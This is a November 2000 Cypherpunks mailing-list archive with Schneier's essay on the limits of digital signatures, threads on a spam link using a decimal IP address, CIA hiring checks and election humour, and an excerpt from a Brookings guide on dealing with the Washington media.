uncopyable > -- on a document. Today, they are a fundamental component of business in > cyberspace. And numerous laws, state and now federal, have codified > digital signatures into law. > > These laws are a mistake. Digital signatures are not signatures, and they > can't fulfill their promise. Understanding why requires understanding how > they work. > > The math is complex, but the mechanics are simple. Alice knows a secret, > called a private key. When she wants to "sign" a document (or a message, > or any bucket of bits), she performs a mathematical calculation using the > document and her private key; then she appends the results of that > calculation -- called the "signature" -- to the document. Anyone can > "verify" the signature by performing a different calculation with the > message and Alice's public key, which is publicly available. If the > verification calculation checks out then Alice must have signed the > document, because only she knows her own private key. > > Mathematically, it works beautifully. Semantically, it fails > miserably. There's nothing in the description above that constitutes > signing. In fact, calling whatever Alice creates a "digital signature" was > probably the most unfortunate nomenclature mistake in the history of > cryptography. > > In law, a signature serves to indicate agreement to, or at least > acknowledgment of, the document signed. When a judge sees a paper document > signed by Alice, he knows that Alice held the document in her hands, and > has reason to believe that Alice read and agreed to the words on the > document. The signature provides evidence of Alice's intentions. (This is > a simplification. With a few exceptions, you can't take a signed document > into court and argue that Alice signed it. You have to get Alice to > testify that she signed it, or bring handwriting experts in and then it's > your word against hers. That's why notarized signatures are used in many > circumstances.) > > When the same judge sees a digital signature, he doesn't know anything > about Alice's intentions. He doesn't know if Alice agreed to the document, > or even if she ever saw it. > > The problem is that while a digital signature authenticates the document up > to the point of the signing computer, it doesn't authenticate the link > between that computer and Alice. This is a subtle point. For years, I > would explain the mathematics of digital signatures with sentences like: > "The signer computes a digital signature of message m by computing m^e mod > n." This is complete nonsense. I have digitally signed thousands of > electronic documents, and I have never computed m^e mod n in my entire > life. My computer makes that calculation. I am not signing anything; my > computer is. > > PGP is a good example. This e-mail security program lets me digitally sign > my messages. The user interface is simple: when I want to sign a message I > select the appropriate menu item, enter my passphrase into a dialog box, > and click "OK." The program decrypts the private key with the passphrase, > and then calculates the digital signature and appends it to my > e-mail. Whether I like it or not, it is a complete article of faith on my > part that PGP calculates a valid digital signature. It is an article of > faith that PGP signs the message I intend it to. It is an article of faith > that PGP doesn't ship a copy of my private key to someone else, who can > then sign whatever he wants in my name. > > I don't mean to malign PGP. It's a good program, and if it is working > properly it will indeed sign what I intended to sign. But someone could > easily write a rogue version of the program that displays one message on > the screen and signs another. Someone could write a Back Orifice plug-in > that captures my private key and signs documents without my consent or > knowledge. We've already seen one computer virus that attempts to steal > PGP private keys; nastier variants are certainly possible. > > The mathematics of cryptography, no matter how strong, cannot bridge the > gap between me and my computer. Because the computer is not trusted, I > cannot rely on it to show me what it is doing or do what I tell it > to. Checking the calculation afterwards doesn't help; the untrusted > computer can't be relied upon to check the calculations properly. It > wouldn't help to verify the code, because the untrusted computer is running > the code (and probably doing the verification). It wouldn't even help to > store the digital signature key in a secure module: the module still has to > rely on the untrusted computer for input and output. > > None of this bodes well for digital signatures. Imagine Alice in court, > answering questions about a document she signed. "I never saw it," she > says. "Yes, the mathematics does prove that my private key signed the > document, but I never saw it." And then an expert witness like myself is > called to the stand, who explains to the judge that it is possible that > Alice never saw the document, that programs can be written to sign > documents without Alice's knowledge, and that Alice's digital signature > doesn't really mean anything about Alice's intentions. > > Solving this problem requires a trusted signing computer. If Alice had a > small hand-held computer, with its own screen and keyboard, she could view > documents on that screen and sign them with that keyboard. As long as the > signing computer is trusted, her signatures are trusted. (But problems > remain. Viewing a Microsoft Word document, for example, generally involves > the very software most responsible for welcoming a virus into the > computer.) In this case we're no longer relying on the mathematics for > security, but instead the hardware and software security of that trusted > computer. > > This is not to say that digital signatures are useless. There are many > instances where the insecurities discussed here are not relevant, or where > the dollar value of the signatures is small enough not to warrant worrying > about them. There are also instances where authenticating to the signing > computer is good enough, and where no further authentication is > required. And there are instances where real-world relationships can > obviate the legal requirements that digital signatures have been asked to > satisfy. > > Digital signatures prove, mathematically, that a secret value known as the > private key was present in a computer at the time Alice's signature was > calculated. It is a small step from that to assume that Alice entered that > key into the computer at the time of signing. But it is a much larger step > to assume that Alice intended a particular document to be signed. And > without a tamperproof computer trusted by Alice, you can expect "digital > signature experts" to show up in court contesting a lot of digital >signatures. > > Comments on the new federal digital signature law: > > (multipage, don't miss the others) > > > > > A survey of laws in various states and countries: > -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From ravage at ssz.com Wed Nov 15 20:56:07 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 15 Nov 2000 22:56:07 -0600 (CST) Subject: CDR: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: Message-ID: On Wed, 15 Nov 2000, Mac Norton wrote: > I think we knew that, but the particular problem posited here is > that Alice's sig can be associated with a record she never saw, > an acute symptom, not a chronic one, I'd hope. But I have asked > for education in that regard, and hope it's forthcoming. If 'you' knew that, nobody could tell from the comments. The general cypherpunks view seems to be the PGP web-of-trust is sufficient (and they are woefully wrong). This is actualy one of the two key problems with PKC management, authentication/verification. The other being scaling. The authentication/verification problem itself has two branches. The first being submitter/user authentication and the other being protocol/implimentation verification. As to scaling, I've been touting 'small network' approaches for years. It's interesting that Napster and it's ilk are just that. Couple this with a universal namespace (ala Plan 9) and some service like LDAP and you might have a usable system. Couple this with a cryptographicaly secure network layer (this is another key management problem also) and 'indepenent' or open source nameservers (for IP resolution, not to be confused with the 'working' namespace I mention above). The only thing I've seen that looks remotely workable is completely distributed and open sourced. The problem is setting up the not-for-profit namespace and key registries (assuming the problems above are resolved). How should they be funded? There is no real answer to any of them at the current time though. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From marshall at athena.net.dhis.org Wed Nov 15 20:20:21 2000 From: marshall at athena.net.dhis.org (David Marshall) Date: Wed, 15 Nov 2000 23:20:21 -0500 Subject: CDR: Re: Fwd: First Site In-Reply-To: ellie900@usa.com's message of "Wed, 15 Nov 2000 15:54:40 -0500" References: <200011152039.MAA10359@toad.com> Message-ID: <877l644khd.fsf@athena.dhis.org> ellie900 at usa.com writes: > THE NEW LINK FOR OUR SITE. > SORRY FOR ANY TROUBLE YOU MAY HAVE HAD WITH THE OLD LINK. > THIS ONE HAS ALL THE CORRECTIONS > > http://3638141293/36/1059436/legal.html One boggles when some idiot who spams refers to a URL as a "line," and then can't even give a valid URL. What did they do, convert the IP to a single value and then translate it to decimal? Why? It's obviously to dodge complaints. I have to wonder about anybody who would write a browser which accepts something like that in the first place. From petro at bounty.org Wed Nov 15 23:41:37 2000 From: petro at bounty.org (petro) Date: Wed, 15 Nov 2000 23:41:37 -0800 Subject: CDR: Re: [ca-firearms] voting In-Reply-To: References: <200011151114.DAA11126@mercury.hypersurf.com> Message-ID: >>> From: petro >>> >>> It would be fairly simple to eliminate *most* of the current >>> voter fraud schemes, and fairly inexpensive. >> >>Please provide details of this simple technique for >>eliminating voter fraud. I've always found utopian >>fantasies intriguing. > > "Reading Comprehension Counts". > (This was accidentally cross posted from another list. Sorry.) -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From baptista at pccf.net Wed Nov 15 20:42:58 2000 From: baptista at pccf.net (Joe Baptista) Date: Wed, 15 Nov 2000 23:42:58 -0500 Subject: CDR: Re: Fwd: First Site In-Reply-To: <877l644khd.fsf@athena.dhis.org> Message-ID: On Wed, 15 Nov 2000, David Marshall wrote: > ellie900 at usa.com writes: > > > THE NEW LINK FOR OUR SITE. > > SORRY FOR ANY TROUBLE YOU MAY HAVE HAD WITH THE OLD LINK. > > THIS ONE HAS ALL THE CORRECTIONS > > > > http://3638141293/36/1059436/legal.html > > One boggles when some idiot who spams refers to a URL as a "line," and > then can't even give a valid URL. What did they do, convert the IP to > a single value and then translate it to decimal? Why? It's obviously > to dodge complaints. I have to wonder about anybody who > would write a browser which accepts something like that in the first > place. The browser has to accept it. The number is valid. you would have to reprogram the stack to block resolution - or alternatively block it at the browser - and I'm not even sure that is possible at this point. The decimal format is part of the way the internet works. Regards joe -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From nobody at remailer.privacy.at Wed Nov 15 15:08:01 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Thu, 16 Nov 2000 00:08:01 +0100 Subject: CDR: Re: (no subject) Message-ID: <5af6e720dc4c2397ebb3da5541d61160@remailer.privacy.at> On Wed, 15 Nov 2000 17:05:31 -0500, Mike Binas wrote: > can you please send me some credit card numbers. Not until you send us your kiddie porn collection, Officer Dickwad. From marshall at athena.net.dhis.org Wed Nov 15 21:31:03 2000 From: marshall at athena.net.dhis.org (David Marshall) Date: Thu, 16 Nov 2000 00:31:03 -0500 Subject: CDR: Re: Fwd: First Site In-Reply-To: Joe Baptista's message of "Wed, 15 Nov 2000 22:26:42 -0500 (EST)" References: Message-ID: <874s184h6s.fsf@athena.dhis.org> Joe Baptista writes: > > > THE NEW LINK FOR OUR SITE. > > > SORRY FOR ANY TROUBLE YOU MAY HAVE HAD WITH THE OLD LINK. > > > THIS ONE HAS ALL THE CORRECTIONS > > > > > > http://3638141293/36/1059436/legal.html > > > > One boggles when some idiot who spams refers to a URL as a "line," and > > then can't even give a valid URL. What did they do, convert the IP to > > a single value and then translate it to decimal? Why? It's obviously > > to dodge complaints. I have to wonder about anybody who > > would write a browser which accepts something like that in the first > > place. > > The browser has to accept it. The number is valid. you would have to > reprogram the stack to block resolution - or alternatively block it at the > browser - and I'm not even sure that is possible at this point. The > decimal format is part of the way the internet works. Good point. I'd tried it long ago in some (most likely broken) software and never gave it a second thought. "3638141293" resolves to 216.217.161.109, which is serviced, not surprisingly, but home.net. The site is up but trying (badly) to dodge traceroutes. From declan at well.com Wed Nov 15 21:51:45 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 16 Nov 2000 00:51:45 -0500 Subject: CDR: Re: CIA proctologists In-Reply-To: ; from bear@sonic.net on Wed, Nov 15, 2000 at 08:56:49PM -0500 References: Message-ID: <20001116010610.A29800@cluebot.com> Speaking of which, check out Brookings' very nice "survivor's guide" on surviving the executive branch appointment/confirmation process. Background on security investigations a bonus. -Declan On Wed, Nov 15, 2000 at 08:56:49PM -0500, Ray Dillinger wrote: > > > On Wed, 15 Nov 2000 anonymous at openpgp.net wrote: > > >US Citizenship is required, as is successful completion of a medical evaluation, polygraph interview and an extensive background investigation. > > > >A "medical evaluation"?? > > > >http://www.odci.gov/cia/employment/jobpostings/architectstud.htm > > Pretty standard procedure. A medical evaluation can detect drug > users, alcohol users, people whose brain chemistry is different, > etc. It can also detect people who are likely to be more or less > expensive to insure, people who need drugs (from insulin to > psychopharmaceuticals) to function normally, and people with more > than a "reasonable" number of knife-fight scars, which might > indicate that someone is too rash or hotheaded. > > It also gets them DNA samples etc, which they can later use to > positively identify you if you ever get implicated in anything > criminal or controversial. > > And finally, they will wind up knowing all about your tattoos > and brands if any, which will point out people who were in certain > gangs and societies during certain time periods. > > That's just part of the job. If you're going to handle secret > material for any government, that government will want to know > everything about you no matter how invasive, and they will want > to own every possible bit of leverage anyone can have on you, > and they want to be damned sure that no one else has any leverage > on you that they don't know about. > > Medical examinations are just one aspect of that. > > I bet they audit someone's taxes for the last six years before > they hire them, too. > > > Bear > > From baptista at pccf.net Wed Nov 15 22:09:49 2000 From: baptista at pccf.net (Joe Baptista) Date: Thu, 16 Nov 2000 01:09:49 -0500 Subject: CDR: Re: Fwd: First Site In-Reply-To: <874s184h6s.fsf@athena.dhis.org> Message-ID: On Thu, 16 Nov 2000, David Marshall wrote: > > > > http://3638141293/36/1059436/legal.html > Good point. I'd tried it long ago in some (most likely broken) > software and never gave it a second thought. "3638141293" resolves to > 216.217.161.109, which is serviced, not surprisingly, but > home.net. The site is up but trying (badly) to dodge traceroutes. I only know about unix traceroute and that should work ipip:~# traceroute 3638141293 traceroute to 3638141293 (216.217.161.109), 30 hops max, 40 byte packets 1 192.0.2.1 (192.0.2.1) 2.827 ms 1.88 ms 1.79 ms 2 10.66.0.1 (10.66.0.1) 21.541 ms 19.027 ms 20.959 ms 3 gateway.god.god (10.0.0.111) 30.18 ms 23.96 ms 22.738 ms 4 c1-pos3-0.chcgil1.home.net (24.7.64.173) 46.407 ms 41.601 ms 44.095 ms 5 c1-pos0-0.lnmtco1.home.net (24.7.65.150) 60.188 ms 55.005 ms 55.753 ms 6 c1-pos1-0.slkcut1.home.net (24.7.64.57) 85.283 ms 66.559 ms 64.059 ms 7 wbb1-pos2-0.pop1.ut.home.net (24.7.75.142) 72.083 ms 69.725 ms 59.08 ms 8 10.253.92.34 (10.253.92.34) 63.26 ms 65.591 ms 86.966 ms 9 216.217.161.109 (216.217.161.109) 62.396 ms 58.283 ms 60.437 ms -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From declan at well.com Wed Nov 15 22:12:24 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 16 Nov 2000 01:12:24 -0500 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: ; from rah@shipwright.com on Wed, Nov 15, 2000 at 10:51:06PM -0500 References: <4.2.2.20001115165119.00ce3bb0@chaparraltree.com> Message-ID: <20001116011224.B29800@cluebot.com> Bruce's article is well-written, but it covers ground already well-trodden by others. Moreover, most, if not all, of his points apply to data-scrambling encryption applications on the same computer. Still, maybe it'll raise the visibility of this problem. -Declan On Wed, Nov 15, 2000 at 10:51:06PM -0500, R. A. Hettinga wrote: > At 5:58 PM -0600 on 11/15/00, Bruce Schneier wrote: > > > > Why Digital Signatures Are Not Signatures > > > > > > > > When first invented in the 1970s, digital signatures made an amazing > > promise: better than a handwritten signature -- unforgeable and uncopyable > > -- on a document. Today, they are a fundamental component of business in > > cyberspace. And numerous laws, state and now federal, have codified > > digital signatures into law. > > > > These laws are a mistake. Digital signatures are not signatures, and they > > can't fulfill their promise. Understanding why requires understanding how > > they work. > > > > The math is complex, but the mechanics are simple. Alice knows a secret, > > called a private key. When she wants to "sign" a document (or a message, > > or any bucket of bits), she performs a mathematical calculation using the > > document and her private key; then she appends the results of that > > calculation -- called the "signature" -- to the document. Anyone can > > "verify" the signature by performing a different calculation with the > > message and Alice's public key, which is publicly available. If the > > verification calculation checks out then Alice must have signed the > > document, because only she knows her own private key. > > > > Mathematically, it works beautifully. Semantically, it fails > > miserably. There's nothing in the description above that constitutes > > signing. In fact, calling whatever Alice creates a "digital signature" was > > probably the most unfortunate nomenclature mistake in the history of > > cryptography. > > > > In law, a signature serves to indicate agreement to, or at least > > acknowledgment of, the document signed. When a judge sees a paper document > > signed by Alice, he knows that Alice held the document in her hands, and > > has reason to believe that Alice read and agreed to the words on the > > document. The signature provides evidence of Alice's intentions. (This is > > a simplification. With a few exceptions, you can't take a signed document > > into court and argue that Alice signed it. You have to get Alice to > > testify that she signed it, or bring handwriting experts in and then it's > > your word against hers. That's why notarized signatures are used in many > > circumstances.) > > > > When the same judge sees a digital signature, he doesn't know anything > > about Alice's intentions. He doesn't know if Alice agreed to the document, > > or even if she ever saw it. > > > > The problem is that while a digital signature authenticates the document up > > to the point of the signing computer, it doesn't authenticate the link > > between that computer and Alice. This is a subtle point. For years, I > > would explain the mathematics of digital signatures with sentences like: > > "The signer computes a digital signature of message m by computing m^e mod > > n." This is complete nonsense. I have digitally signed thousands of > > electronic documents, and I have never computed m^e mod n in my entire > > life. My computer makes that calculation. I am not signing anything; my > > computer is. > > > > PGP is a good example. This e-mail security program lets me digitally sign > > my messages. The user interface is simple: when I want to sign a message I > > select the appropriate menu item, enter my passphrase into a dialog box, > > and click "OK." The program decrypts the private key with the passphrase, > > and then calculates the digital signature and appends it to my > > e-mail. Whether I like it or not, it is a complete article of faith on my > > part that PGP calculates a valid digital signature. It is an article of > > faith that PGP signs the message I intend it to. It is an article of faith > > that PGP doesn't ship a copy of my private key to someone else, who can > > then sign whatever he wants in my name. > > > > I don't mean to malign PGP. It's a good program, and if it is working > > properly it will indeed sign what I intended to sign. But someone could > > easily write a rogue version of the program that displays one message on > > the screen and signs another. Someone could write a Back Orifice plug-in > > that captures my private key and signs documents without my consent or > > knowledge. We've already seen one computer virus that attempts to steal > > PGP private keys; nastier variants are certainly possible. > > > > The mathematics of cryptography, no matter how strong, cannot bridge the > > gap between me and my computer. Because the computer is not trusted, I > > cannot rely on it to show me what it is doing or do what I tell it > > to. Checking the calculation afterwards doesn't help; the untrusted > > computer can't be relied upon to check the calculations properly. It > > wouldn't help to verify the code, because the untrusted computer is running > > the code (and probably doing the verification). It wouldn't even help to > > store the digital signature key in a secure module: the module still has to > > rely on the untrusted computer for input and output. > > > > None of this bodes well for digital signatures. Imagine Alice in court, > > answering questions about a document she signed. "I never saw it," she > > says. "Yes, the mathematics does prove that my private key signed the > > document, but I never saw it." And then an expert witness like myself is > > called to the stand, who explains to the judge that it is possible that > > Alice never saw the document, that programs can be written to sign > > documents without Alice's knowledge, and that Alice's digital signature > > doesn't really mean anything about Alice's intentions. > > > > Solving this problem requires a trusted signing computer. If Alice had a > > small hand-held computer, with its own screen and keyboard, she could view > > documents on that screen and sign them with that keyboard. As long as the > > signing computer is trusted, her signatures are trusted. (But problems > > remain. Viewing a Microsoft Word document, for example, generally involves > > the very software most responsible for welcoming a virus into the > > computer.) In this case we're no longer relying on the mathematics for > > security, but instead the hardware and software security of that trusted > > computer. > > > > This is not to say that digital signatures are useless. There are many > > instances where the insecurities discussed here are not relevant, or where > > the dollar value of the signatures is small enough not to warrant worrying > > about them. There are also instances where authenticating to the signing > > computer is good enough, and where no further authentication is > > required. And there are instances where real-world relationships can > > obviate the legal requirements that digital signatures have been asked to > > satisfy. > > > > Digital signatures prove, mathematically, that a secret value known as the > > private key was present in a computer at the time Alice's signature was > > calculated. It is a small step from that to assume that Alice entered that > > key into the computer at the time of signing. But it is a much larger step > > to assume that Alice intended a particular document to be signed. And > > without a tamperproof computer trusted by Alice, you can expect "digital > > signature experts" to show up in court contesting a lot of digital > >signatures. > > > > Comments on the new federal digital signature law: > > > > (multipage, don't miss the others) > > > > > > > > > > A survey of laws in various states and countries: > > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > From bill.stewart at pobox.com Thu Nov 16 01:28:21 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 16 Nov 2000 01:28:21 -0800 Subject: CDR: Aces high Message-ID: <3.0.5.32.20001116012821.0091d5a0@idiom.com> >This was forwarded to me today but thought it might amuse y'all because >of the similar thread. . . > >> This story regarding the tight race in New Mexico -- which >> sounds like it's 130 years out of date -- is from MS/NBC: >> >> In a strange twist, under New Mexico law, a tied result could force >> Bush and Gore to draw straws or play a hand of poker to settle the race. >> State law requires that a dead-even race, "the determination as >> to which of the candidates shall be declared to have been nominated or >> elected shall be decided by lot." >> >> In practice, the usual method for this rare event has been to play one >> hand of five-card poker, but the parties can decide on another method. >> "Whether they want to draw straws, play a hand of five-card stud, >> or draw a high card, that is totally up to the participants," >> state elections director Denise Lamb said. >> >> The last time this happened was in December 1999, when Republican >> Jim Blanq and Democrat Lena Milligan tied at 798 votes each in a >> local race for magistrate judge. They played one hand of poker in a >> courthouse with dozens of people watching, and Blanq won. >> from http://www.msnbc.com/news/487297.asp Also, somebody on another list was ranting about the interpretation of the results being "To-MAY-Toe vs. To-MAH-Toe", and the obvious response was "No, Tomatina!" http://www.latomatina.com/html/i.htm A good tomato throwing fight _would_ be a pretty appropriate way to resolve this election. You can vote early and often... Attack of the killer tomatoes! Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From declan at well.com Wed Nov 15 22:35:36 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 16 Nov 2000 01:35:36 -0500 Subject: Dealing with the Washington media -- survivors speak out Message-ID: [I first moved to Washington in 1991, and I've been living here off and on ever since. (Yes, this is sad.) Here's one view of what it's like to deal with the Washington media, with perspectives from those who have had run-ins with us before. It's from a very nice "Survivor's Guide for Presidential Nominees" just out from the Brookings Institution. --Declan] http://www.appointee.brookings.org/sg/c6.htm A Survivor's Guide for Presidential Nominees Dealing with the Media "The first rule of survival in Washington is never do or say anything that you dont want to read about on the front page of The Washington Post." If youve always hankered for closer attention from the news media, youve come to the right town. Washington is crawling with reporters nearly 5,000 are accredited by the House and Senate press and broadcast galleries and hardly a nook or cranny of the government goes unexplored by some branch of the media, from the national newspapers and networks to pricey newsletters and trade publications that are the bibles of their industries. Washington is a fish bowl, and if you want to make a name for yourself, this is the place to do it. But it may not be quite the name you had in mind. The Washington media are known more for the reputations they tear down than the ones they build up. Many prospective nominees have dealt with reporters before in state houses, the business world, the military or on Capitol Hill itself, where legions of assistants make a living trying to figure out how to get or keep their bosses in the spotlight. But now youre in a different situation. Be forewarned: No matter how much or how little you dealt with the media before coming to Washington, its usually a surprise when you stand in the batters box here for the first time to discover how fast they throw and how much those sliders break. For that reason, keep in mind three basic pieces of advice. First, be very careful what you say to reporters while yours is just one of several names the White House is considering. Second, dont say anything at all to the press, on the record or off, while the Senate is considering your nomination. And third, never lie to the media it will come back to haunt you. In this chapter, well look at the role that journalists play in the nations capital and its political process. Then well get practical advice from those who have gone through the nomination and confirmation process, as well as from those in the media who have watched and covered hundreds of important nominations. The Capital of the News World The capital of the country is also the capital of the news world. New York can still lay claim to being the headquarters of the three original television networks, two news magazines, the major news service and two of the nations finest newspapers (The New York Times and The Wall Street Journal), but the news organizations Washington bureaus are the crown jewels of their news operations. Two nationally recognized papers, The Washington Post and USA Today, are produced inside the Beltway. CNNs home may be in Atlanta, but much of its hard news originates from its bureau next to Washingtons Union Station. National Public Radio has its studios and nerve center here, and the Public Broadcasting System is across the river in Alexandria, Va. Reporters who ply their craft in Washington may be no more talented than their colleagues in state capitals and other major cities, but they have a singular advantage: More news happens here than in any other single city on the planet and the local scribes get to cover it. They get to see the world with the president from Air Force One and trudge through the snows of New Hampshire with the candidates. When they hold a banquet to salute (or laugh at) themselves, the guest of honor is not the mayor or the governor, but the president of the United States. Love them or loathe them, they are the publics eyes and ears. Your deeds and reputation in office will pass through the medias filters before they become known to the public at large. As frustrating as the media can be, Washington insiders keep close tabs on the news. Many officials read several major newspapers religiously, making sure to check the Federal Page in The Washington Post and the Inside the Beltway column in The Washington Times, among other regular features. If you want to prepare for a rigorous questioning, watch journalists pepper a White House official on one of the weekend talk shows. The latest scandals In recent years, the line between the tabloids and the mainstream press has blurred as news organizations rush to mine the latest political sex scandals, from John F. Kennedys Hollywood conquests to Gary Harts escapades on a yacht to Bill Clintons trysts with an eager intern. What once was fodder only for the Drudge Report is front-page news in the broadsheets especially since Matt Drudges most sensational morsels proved largely on target. The airwaves and Internet are saturated with news, but readership and viewership are flagging. Reporters can live without respect they almost relish being regarded as a royal pain but losing credibility and audience pains them deeply. Reporters take themselves seriously too seriously for some of their subjects taste. The quicker a newspaper or news broadcast is to expose a public servants failings and foibles, the thinner its own hide. Newspapers have gotten better in recent years about publishing corrections, but they are still quicker to confess error about dates or the spelling of names or identities in a picture than to own up to getting the whole thing wrong or lopsided. Reporters and editors also pride themselves on breaking news, even if their scoop remains exclusive only for hours or even minutes. A newspaper may devote 10 inches of space to an appointment if it is given the details exclusively, or pries them loose, one day in advance. Announce the appointment at the same time for all the media to see, and it may not rate so much as a paragraph. Many public officials today would subscribe to the sentiments that a character in a Tom Stoppard play expressed: "Im with you on the free press. Its the newspapers I cant stand." Reporters respond with their highest authority on these matters: Thomas Jefferson. The author of the Declaration of Independence observed in a 1787 letter: The basis of our government being the opinion of the people, the very first object should be to keep that right; and were it left to me to decide whether we should have a government without newspapers, or newspapers without a government, I should not hesitate a moment to prefer the latter. But I should mean that every man should receive those papers and be capable of reading them. The papers of Jeffersons day boiled with shamelessly partisan rhetoric, barb and propaganda and were hardly deserving "of such high praise as agencies of public enlightenment," as Jefferson biographer Dumas Malone put it. But Jeffersons point stands: The press has an important role to play in a democracy. And when news erupts, those obstreperous reporters camped outside your office and sometimes on your lawn wont let you forget it. Although the press plays a critical role in our democracy, even some reporters admit misgivings about their techniques. Janet Malcolm, the author and contributor to The New Yorker, offered this ominous warning to the unwary in her 1990 book, The Journalist and the Murderer: "Every journalist who is not too stupid or full of himself to notice what is going on knows that what he does is morally indefensible. He is a kind of confidence man, preying on peoples vanity, ignorance or loneliness, gaining their trust and betraying them without remorse." That may be a gross exaggeration, but it has a kernel of truth. Journalists do want to gain your confidence and its not because they want to be your friends. "Reporters are professionals whose loyalty is to their media outlets or their profession, not to you," says Wayne Pines, former spokesman for the Food and Drug Administration and now a public relations counselor with APCO Associates. "Knowing them personally means you may get the benefit of the doubt in a difficult situation, and you may also get to go on background and influence a story anonymously but only after you have established a trusting relationship. In Washington, never lie to the media, dont mislead them, dont get angry with them and dont underestimate their influence. They will influence what most of the world, including your own employees, think of you." Get it first and right From the journalists perspective, there is one cardinal rule: Get it first, but first get it right. Early in the Clinton administration, Tim Russert of NBCs "Meet the Press" jumped on the air in advance of a presidential news conference to announce the name of the presidents new puppy. Unfortunately, his sources had led him astray and he got it wrong. Why risk being wrong on the name of a dog, much less the name of a nominee? Journalists generally wont take that risk unless they are certain of the story. They always want to show up the competition. Keep in mind that, even if the new administration is trying to keep the names of potential nominees under wraps, reporters by nature are extremely competitive and very clever. When Thurgood Marshall retired from the Supreme Court, reporters quickly found out who was on George Bushs short list. The White House managed to spirit Clarence Thomas up to Walkers Point, the presidents summer compound in Kennebunkport, Maine, for the July 1, 1991, announcement without anyones spotting the future justice or breaking the news of his selection. But Associated Press reporter Rita Beamish found out ahead of time who it wasnt. She called the other candidates at home where they were sitting by the phone awaiting a call from the White House and correctly deduced that "those who were still home with no flight plans were not the chosen ones." Barbara Bush, in her memoir, tipped her hat to Beamish for this "great ingenuity." Reporters have a knack for unearthing conflict, even within organizations that are paragons of harmony. The many things on which you and a Cabinet secretary or the president see eye-to-eye may be of little or no interest, but where you disagree is news. Reporters will mine the new administration for evidence of disputes between a president and the Cabinet, between the Cabinet and the Office of Management and Budget and, naturally, between the administration and Congress. Sources in Congress generally the most accessible and open-mouthed branch of the government often are eager to help reporters root around. Interest groups with ties deep into the bureaucracy will throw logs onto the fire as well. Puncturing a new enterprise When reporters are covering a new enterprise, including the start of an administration, they are like small children playing with balloons at a birthday party. Its great fun to fill them up with air, but even greater fun to puncture them. If you are new to Washington and public life, expect such treatment. Reporters will write introductory accounts that extol your talents and recite your exploits in ways so flattering that no one save your mother could possibly believe them. And later, if something goes wrong on your watch, you quickly may find yourself the almost unrecognizable villain of a piece written by the same hand that produced your hagiography. Lani Guinier, President Clintons unsuccessful nominee for civil rights enforcer in 1993, lamented afterward to National Public Radio, "Even my own mother couldnt recognize me in the press coverage that I received." The media are avid for news. Whether by friendly takeover (as when George Bush succeeded Ronald Reagan in 1989) or a hostile one (as when Bill Clinton ousted Bush in 1993), a change of administrations affords an ample supply of headlines for news-hungry reporters and editors. Newspapers will run stories by the score on who will get what post, devoting yards of space to programs and positions that wont rate a mention in the years that follow. The political masterminds of the victorious campaign, flush with success, will keep the press corps spinning with announcements and trial balloons, even as the new presidents team works frantically behind closed doors to get at least some of its act together by noon on Jan. 20. They will trade in names perhaps your name among them because journalists are hungry for scoops, and these are "secrets" that cost little to give away. Sometimes that is all you will actually get: your name mentioned on the insiders short list, a consolation prize if you are denied the actual nomination. The erstwhile campaigners may also run your name up the pole to see who salutes or shoots. Unless an administration comes in on the run as Ronald Reagan and his team did in 1981 the press soon will turn its attention to the disarray and vacancies throughout the government, as was conspicuously the case in 1993 for Bill Clinton and the gang from the war room in Little Rock. As political scientist James Pfiffner of George Mason University recounted in a 1996 update to his book, The Strategic Presidency, it took Clinton 8.5 months on average to get his executive branch appointees confirmed after the inauguration. That was six months longer than Kennedy, and probably "the slowest in history," Pfiffner found. It was easy pickings for a press corps always eager to unearth early signs of confusion. When in Doubt, Dont Talk You wont be surprised to hear that savvy confirmation hands such as lobbyist and former Nixon White House official Tom Korologos, former presidential appointees and those who work on Capitol Hill all agree: be very circumspect in talking with reporters before your nomination and even more so before your confirmation. But it might surprise you to hear prominent reporters echo the same advice. Broadcast journalist Brit Hume, who has watched administrations come and go for three decades, minces no words: "If they havent been named, and they havent been picked, and they havent been talked to, they really have no reason to talk to the press. When in doubt, dont talk to the press." Still, "you want to be pleasant to reporters, polite to them," says Hume, managing editor and chief Washington correspondent for Fox News and a former ABC White House correspondent. He adds: Treat them as if you know theyve got a job to do, that you understand and you sympathize, and if you cant comment, just say, "Look, I know youve got work to do, and Im sorry. I cant comment about this stuff at this time. I apologize. I just cant." And then dont. The right to remain silent Freedom of the press is a cherished right under the First Amendment. While there is no concomitant freedom from the press in the Constitution, you do have a right to remain silent or, better yet, to refrain politely from answering reporters questions. But many people fail to exercise that right. They often let their egos override their common sense. It is, as Samuel Johnson said of second marriages, the triumph of hope over experience. People beguile themselves into believing that for once a news report is going to spotlight their innocence, brilliance or cleverness instead of reminding us how adroit a questioner the reporter is. Dont make the mistake of thinking that you can enhance your chances of being appointed by talking openly and frankly with the press. As Hume observes, "the chances of your saying just the right thing and having it come out sounding just the right way are sufficiently remote that its not worth risking." Another White House press corps veteran, Gene Gibbons, says, "My two rules of life for people who find themselves in the media spotlight are: 